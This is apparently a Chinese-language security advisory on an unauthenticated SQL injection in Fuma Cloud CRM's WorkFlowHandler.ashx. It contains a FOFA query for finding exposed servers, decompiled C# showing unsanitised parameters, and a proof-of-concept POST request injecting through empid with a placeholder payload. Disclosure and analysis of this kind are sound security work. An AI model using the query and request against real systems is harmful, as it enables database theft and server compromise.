漏洞简介
上海孚盟软件有限公司是一家专业的外贸SaaS服务和行业解决方案提供商。其旗下产品孚盟云WorkFlowHandler.ashx接口存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="孚盟软件-孚盟云"
漏洞分析
直接看 WorkFlowHandler.ashx 对应的dll文件 FumaCRM_BS.NewWeb.dll 里有关 WorkFlowHandler 方法的实现如下
public void ProcessRequest(HttpContext context)
{
context.Response.ContentType = "text/plain";
string str1 = context.Request["action"];
string str2 = string.Empty;
try
{
this.EmpID = "admin";
string str3 = "";
string str4 = "";
string s = str1;
string str5;
// ISSUE: reference to a compiler-generated method
switch (\u003CPrivateImplementationDetails\u003E.ComputeStringHash(s))
{
case 80374021:
if (string.op_Equality(s, "GetProcessOverCount"))
{
try
{
this.EmpID = context.Request["empid"].ToString();
str2 = this._workflowManager.GetProcessOverCount(this.EmpID).ToString();
break;
}
catch (Exception ex)
{
Helper.WriteLog($"GetProcessOverCountError:Message:{ex.Message}--StackTrace:{ex.StackTrace}", "ddSaas");
break;
}
}
else
break;
case 330683555:
if (string.op_Equality(s, "SetUserSelectAreaCheck"))
case 493346464:
if (string.op_Equality(s, "GetPhotoUrl2"))
{
this.GetPhotoUrl2(context);
break;
}
break;
case 524275200:
if (string.op_Equality(s, "LoadWorkFlowListByModularID"))
{
Hashtable hashtable = new Hashtable();
StringBuilder stringBuilder = new StringBuilder();
try
{
DataTable dataSource = new CreatePageDao().GetDataSource($"select * from saFlow where MouldID='{context.Request["modularID"].ToString()}' and (FlowDel is null or FlowDel = 0) ");
if (((InternalDataCollectionBase) dataSource.Rows).Count > 0)
case 586498900:
if (string.op_Equality(s, "loadwf"))
{
string str7 = context.Request["mouldId"] == null ? "" : context.Request["mouldId"].ToString();
if (string.op_Equality(str7, "TM012"))
{
this.EmpID = UserCookie.GetCookieValue("empId");
this.EmpID = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.EmpID);
}
else
this.EmpID = context.Request["empid"].ToString();
string data = context.Request["fid"] == null ? "" : context.Request["fid"].ToString();
string SQLString1 = $"SELECT * FROM saExc WHERE MouldID='{str7}' AND BillFID='{data}'";
DataTable table1 = this.dbHelper.Query(SQLString1).Tables[0];
case 594326419:
if (string.op_Equality(s, "GetUserListTypeCheckMail"))
{
str5 = context.Request["pageName"] == null ? "" : context.Request["pageName"].ToString();
string searchTxt = context.Request["searchTxt"] == null ? "" : context.Request["searchTxt"].ToString().Trim();
this.EmpID = !string.op_Equality(context.Request["bindType"] == null ? "" : context.Request["bindType"].ToString().Trim(), "Mail") ? context.Request["empid"].ToString() : UserCookie.GetCookieValue("empId");
DataTable allUserNoSysAdmin = this._workflowManager.GetAllUserNoSysAdmin(searchTxt);
case 823771411:
if (string.op_Equality(s, "GetProcessIngFlowCount"))
{
try
{
this.EmpID = context.Request["empid"].ToString();
str2 = this._workflowManager.GetProcessIngCount(this.EmpID).ToString();
break;
}
case 1739358926:
if (string.op_Equality(s, "SendMessage"))
{
this.SendMessage(context);
break;
}
case 1747886113:
if (string.op_Equality(s, "SetUserSelectArea"))
{
DataTable userByEmpId = this._workflowManager.GetUserByEmpId(context.Request["delegationEmpId"] == null ? "" : context.Request["delegationEmpId"].ToString());
StringBuilder stringBuilder = new StringBuilder();
if (((InternalDataCollectionBase) userByEmpId.Rows).Count > 0)
if (string.op_Equality(s, "GetAllbtns"))
{
Helper.WriteLog("进入按钮生成方法", "ddSaas");
string mouldId = context.Request["mouldId"] == null ? "" : context.Request["mouldId"].ToString();
string str31 = context.Request["fid"] == null ? "" : context.Request["fid"].ToString();
string str32 = context.Request["pid"] == null ? "" : context.Request["pid"].ToString();
string str33 = context.Request["nodeid"] == null ? "" : context.Request["nodeid"].ToString();
string data = context.Request["billNo"] == null ? "" : context.Request["billNo"].ToString();
string str34 = context.Request["FlowFID"] == null ? "" : context.Request["FlowFID"].ToString();
if (string.op_Equality(mouldId, "TM012"))
{
this.EmpID = UserCookie.GetCookieValue("empId");
this.EmpID = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.EmpID);
}
else
{
this.EmpID = context.Request["empid"].ToString();
data = Base64.base64Decode(data);
}
Helper.WriteLog("EmpID:" + this.EmpID, "ddSaas");
bool btnSubmit = false;
bool btnAudit = false;
bool btnError = false;
bool btnIsAdd = false;
bool btnIsOther = false;
bool btnIsBack = false;
bool btnIsFast = false;
string SQLString = $"SELECT * FROM saExc WHERE MouldID='{mouldId}' AND BillFID='{str31}'";
if (string.op_Equality(s, "savenotice"))
{
string str36 = new WorkFlowManager().SaveNoticeClick(context.Request["ABillFID"].ToString(), context.Request["FlowFID"] == null ? 0 : int.Parse(context.Request["FlowFID"].ToString()));
context.Response.Write(str36);
break;
}
break;
if (string.op_Equality(s, "ProcessMyCount"))
{
try
{
this.EmpID = context.Request["empid"].ToString();
str2 = this._workflowManager.GetProcessMyCount(this.EmpID).ToString();
break;
}
if (string.op_Equality(s, "WorkFlow"))
{
string ALoginName = context.Request["empid"].ToString();
string AMouldID = context.Request["modularID"].ToString();
string str37 = context.Request["orderFID"].ToString();
if (new WorkFlowManager().IsStartFlow(AMouldID))
{
bool flag = new WorkFlowManager().LeaderCanFlow(AMouldID, Convert.ToInt32(str37), ALoginName);
if (((InternalDataCollectionBase) new CreatePageDao().GetDataSource($"select * from saExc where BillFID='{str37}' and MouldID='{AMouldID}'").Rows).Count <= 0)
{
if (string.op_Equality(s, "GetUserList"))
{
str5 = context.Request["pageName"] == null ? "" : context.Request["pageName"].ToString();
string searchTxt = context.Request["searchTxt"] == null ? "" : context.Request["searchTxt"].ToString().Trim();
string str38 = context.Request["bindType"] == null ? "" : context.Request["bindType"].ToString().Trim();
this.EmpID = !string.op_Equality(str38, "Mail") ? context.Request["empid"].ToString() : UserCookie.GetCookieValue("empId");
DataTable allUserNoSysAdmin = this._workflowManager.GetAllUserNoSysAdmin(searchTxt);
if (string.op_Equality(s, "ProcessEndCount"))
{
try
{
this.EmpID = context.Request["empid"].ToString();
str2 = this._workflowManager.GetProcessEndCount(this.EmpID).ToString();
break;
}
if (string.op_Equality(s, "GetAvailableProcessSendBtn"))
{
str2 = this.GetAvailableProcessSendBtn(context);
break;
}
if (string.op_Equality(s, "IsAutoAudit"))
{
string AMouldID = context.Request["AMouldID"].ToString();
string ABillFID = context.Request["ABillFID"].ToString();
int int32 = Convert.ToInt32(context.Request["ABtnType"]);
bool IsPerAgree4 = false;
string PerAgree4SendMessageEmpId = "";
string str93 = new WorkFlowManager().WorkFlowAutoAudit(AMouldID, ABillFID, int32, out IsPerAgree4, out PerAgree4SendMessageEmpId);
context.Response.Write(str93);
if (string.op_Equality(s, "IsCurrStepEmp"))
{
str2 = this.IsCurrStepEmp(context);
break;
}
if (string.op_Equality(s, "GetDingJsText"))
{
str2 = this.GetDingJsText(context);
break;
}
break;
下面是各个涉及的方法
public DataTable GetAllUserNoSysAdmin(string searchTxt)
{
string SQLString = " SELECT b.empid,b.CNEmpName,b.Dingding\r\n FROM [bfEMP] b where b.empid != 'sysadmin'";
if (string.op_Inequality(searchTxt, ""))
SQLString = $"{SQLString} and b.CNEmpName like '{searchTxt}%'";
return this.dbHelper.Query(SQLString).Tables[0];
}
public int GetProcessIngCount(string empId)
{
return Convert.ToInt32(this.dbHelper.GetSingle($" SELECT COUNT(A.FID)\r\n FROM saExc A\r\n WHERE A.FlowExcOk = 0 AND ISNULL(A.BillDelState, 0)= 0 AND(A.MouldID = '' OR '' IS NULL OR '' = '')\r\n AND EXISTS(SELECT B.FID FROM saExcEmp B WHERE B.ExcFID = A.FID AND B.EmpID = '{empId}' AND B.EmpState <> 2 AND(B.CurrStep IN(SELECT D.CurrStep FROM saExcCurrStep D WHERE D.ExcFID = A.FID)))") ?? (object) "");
}
public void SendMessage(HttpContext context)
{
Helper.WriteLog("SendMessage 进入方法", "ddSaas");
string ddCorpId = ConfigurationManager.AppSettings["corpId"].ToString();
string agentId = new SaasManager().GetAgentId(ddCorpId, EnumParser.GetFiledValue((object) PrivateAppId.业务看板));
int num = int.Parse(context.Request["auditState"].ToString());
string mouldID = context.Request["AMouldID"].ToString();
string str1 = context.Request["ABillFID"].ToString();
string str2 = context.Request["billNo"].ToString();
string str3 = context.Request["FlowFID"].ToString();
string empIds = context.Request["sendUserId"].ToString();
string str4 = context.Request["msgStr"].ToString();
string str5 = context.Request["flowTitle"].ToString();
string sendDingDingUserIds = this.GetSendDingDingUserIds(empIds);
string str6 = "1";
if (num == 2)
str6 = "0";
string str7 = !HttpContext.Current.Request.Url.ToString().Contains("yun.fumasoft.com") ? $"https://{ddCorpId}.fumasoft.com" : "https://yun.fumasoft.com" + HttpContext.Current.Request.RawUrl;
if (string.op_Equality(mouldID, "TM012"))
{
agentId = new SaasManager().GetAgentId(ddCorpId, EnumParser.GetFiledValue((object) PrivateAppId.孚盟邮));
string SQLString = "select uml.FID as userMailId,ml.FID as mailId,ml.subject,uml.MailType,uml.MailBox,uml.MailDate,uml.ownerID from tmUserMailList uml,tmMailList ml where uml.MID = ml.FID and uml.fid = " + str1;
Helper.WriteLog("GetProcessIngFlowList Link TM012 Sql:" + SQLString, "ddSaas");
public DataTable GetUserByEmpId(string empId)
{
return this.dbHelper.Query($" SELECT *\r\n FROM [bfEMP] b where b.empid ='{empId}'").Tables[0];
}
public int GetProcessMyCount(string empId)
{
return Convert.ToInt32(this.dbHelper.GetSingle($"SELECT COUNT(A.FID) FROM saExc A where A.CreateEmp = '{empId}' AND A.FlowExcOk=0 AND ISNULL(A.BillDelState,0)= 0 ") ?? (object) "");
}
public int GetProcessENDCount(string empId)
{
int processEndCount = 0;
DataSet dataSet = this.dbHelper.Query($"SELECT COUNT(*) FROM saExc A WHERE A.FlowExcOk=1 AND ISNULL(A.BillDelState,0)=0 AND EXISTS(SELECT 1 FROM saHisExcEmp B WHERE B.EmpID = '{empId}' AND B.ExcFID = A.FID) AND NOT EXISTS(SELECT 1 FROM saHisExcEmp B WHERE B.ExcFID = A.FID AND(B.EmpAction = 8 OR B.EmpAction = 9)) union SELECT COUNT(*)FROM saHisExc A WHERE A.FlowExcOk=1 AND ISNULL(A.BillDelState,0)=0 AND EXISTS(SELECT 1 FROM saHisExcEmp B WHERE B.EmpID = '{empId}' AND B.ExcFID = A.FID) AND NOT EXISTS(SELECT 1 FROM saHisExcEmp B WHERE B.ExcFID = A.FID AND(B.EmpAction = 8 OR B.EmpAction = 9))");
if (dataSet != null && ((InternalDataCollectionBase) dataSet.Tables[0].Rows).Count > 1)
private string GetAvailableProcessSendBtn(HttpContext context)
{
StringBuilder stringBuilder = new StringBuilder();
DataTable dataSource = new CreatePageDao().GetDataSource($"select * from saFlow where MouldID='{context.Request["AMouldID"].ToString()}' AND FlowAction=0 and (FlowDel is null or FlowDel = 0) ");
public string WorkFlowAutoAudit(
string AMouldID,
string ABillFID,
int ABtnType,
out bool IsPerAgree4,
out string PerAgree4SendMessageEmpId)
{
DataSet ds1 = (DataSet) null;
DataSet ds2 = (DataSet) null;
DataSet ds3 = (DataSet) null;
DataSet ds4 = (DataSet) null;
DataSet ds5 = (DataSet) null;
int num1 = 0;
int num2 = 0;
IsPerAgree4 = false;
PerAgree4SendMessageEmpId = "";
try
{
this.GetDataSet($"SELECT {WorkFlowDao.saExc} FROM saExc WHERE MouldID='{AMouldID}' AND BillFID='{ABillFID}' AND FlowExcOk=0 ", ref ds5);
private string IsCurrStepEmp(HttpContext context)
{
try
{
}
catch (Exception ex)
{
throw;
}
string str1 = context.Request["AMouldID"] == null ? "" : context.Request["AMouldID"].ToString();
string str2 = context.Request["ABillFID"] == null ? "" : context.Request["ABillFID"].ToString();
string str3 = "1";
if (string.op_Equality(str1, "TM012"))
{
this.EmpID = UserCookie.GetCookieValue("empId");
this.EmpID = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.EmpID);
}
else
this.EmpID = context.Request["empid"].ToString();
Helper.WriteLog("进入IsCurrStepEmp方法", "ddSaas");
DataTable table1 = this.dbHelper.Query($"select top 1 * from dbo.saExc where mouldid = '{str1}' and BillFID = {str2}").Tables[0];
private string GetDingJsText(HttpContext context)
{
Helper.WriteLog("进入GetDingJsText方法", "ddSaas");
string str1 = context.Request["mouldId"] == null ? "" : context.Request["mouldId"].ToString();
string str2 = context.Request["fid"] == null ? "" : context.Request["fid"].ToString();
string str3 = context.Request["billNo"] == null ? "" : context.Request["billNo"].ToString();
string str4 = context.Request["FlowFID"] == null ? "" : context.Request["FlowFID"].ToString();
if (string.op_Equality(str1, "TM012"))
{
this.EmpID = UserCookie.GetCookieValue("empId");
this.EmpID = FumaCRM_BS.Utility.Encrypt.Encrypt.DesDecrypt(this.EmpID);
}
else
this.EmpID = context.Request["empid"].ToString();
Helper.WriteLog("EmpID:" + this.EmpID, "ddSaas");
string SQLString1 = $"SELECT * FROM saExc WHERE MouldID='{str1}' AND BillFID='{str2}'";
DataTable table1 = this.dbHelper.Query(SQLString1).Tables[0];
当action=GetProcessOverCount时,进入GetProcessOverCount方法
public int GetProcessOverCount(string empId)
{
return Convert.ToInt32(this.dbHelper.GetSingle($" SELECT COUNT(A.FID) FROM saExc A where ((A.FlowExcOk = 0 AND ISNULL(A.BillDelState, 0) = 0 AND EXISTS(SELECT FID FROM saExcEmp B WHERE B.ExcFID = A.FID AND B.EmpID = '{empId}' AND B.EmpState = 2 AND(SELECT C.StepType FROM saStep C WHERE B.CurrStep = C.FID) <> 0) AND NOT EXISTS(SELECT FID FROM saExcEmp B WHERE B.ExcFID = A.FID AND B.EmpID = '{empId}' AND(B.EmpState = 0 or B.EmpState = 1))))") ?? (object) "");
}
可以发现empid参数是被直接拼接进SQL语句,从而导致SQL注入漏洞。
漏洞复现
POST /m/Dingding/Ajax/WorkFlowHandler.ashx HTTP/1.1
Host: fumacrm.mrxn.net
Cookie: UserCookie={"empId":"1","corpId": "1"}
Content-Type: application/x-www-form-urlencoded
action=GetProcessOverCount&empid=admin')))SQLI_POC-- -


